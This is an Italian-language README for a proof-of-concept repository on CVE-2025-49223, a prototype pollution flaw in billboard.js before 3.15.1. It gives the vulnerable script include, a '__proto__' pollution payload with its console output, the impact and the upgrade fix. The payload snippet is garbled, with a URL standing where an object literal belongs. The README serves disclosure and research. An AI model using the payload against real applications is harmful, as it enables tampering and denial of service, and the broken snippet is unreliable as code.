💥 CVE-2025-49223 - Prototype Pollution in Billboard.js

È stato scoperto che billboard.js precedente alla 3.15.1 contiene una prototype pollution tramite la funzione generate, che potrebbe consentire agli attaccanti di eseguire codice arbitrario o causare una Denial of Service (DoS) iniettando proprietà arbitrarie.

Questo repository dimostra una vulnerabilità di Prototype Pollution trovata in billboard.js versioni precedenti alla 3.15.1, segnalata come CVE-2025-49223.

📌 Riepilogo

• Tipo di vulnerabilità: Prototype Pollution
• Libreria interessata: billboard.js
• Versioni interessate: <= 3.14.0
• Versione corretta: >= 3.15.1
• ID CVE: CVE-2025-49223
• Impatto: esecuzione di codice arbitrario o Denial of Service

🧪 Prova di concetto (PoC)

Apri index.html in un browser e controlla il log della console per tentativi di prototype pollution.

Carica la versione vulnerabile:

<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/billboard.pkgd.min.js"></script>

Tentativo di pollution:

{
  ["__proto__"]: https://raw.githubusercontent.com/louay-075/cve-2025-49223-billboardjs-poc/HEAD/%7B
    polluted: "polluted_via_string_key"
  }
}

Output della console:

🔥 string key '__proto__' -> POLLUTED! Value: polluted_via_string_key

Questo conferma che un attaccante può inquinare Object.prototype, influenzando qualsiasi oggetto futuro creato nella pagina.

🔥 Impatto

Uno sfruttamento riuscito può portare a:

• Iniezione di chiavi arbitrarie in tutti gli oggetti
• Manomissione della logica di rendering dei grafici
• Arresti anomali dell'applicazione (DoS)
• Potenziale bypass di sicurezza nelle app che fanno affidamento su unioni di oggetti non sicure

🛡️ Mitigazione

• ✅ Aggiorna a billboard.js versione 3.15.1 o successiva

🧱 Riferimenti

• 🔗 CVE-2025-49223 su NVD
• 🔗 Note di rilascio di Billboard.js 3.15.1

⚠️ Disclaimer: Questa PoC è solo a scopo didattico e di ricerca. Usala in modo responsabile.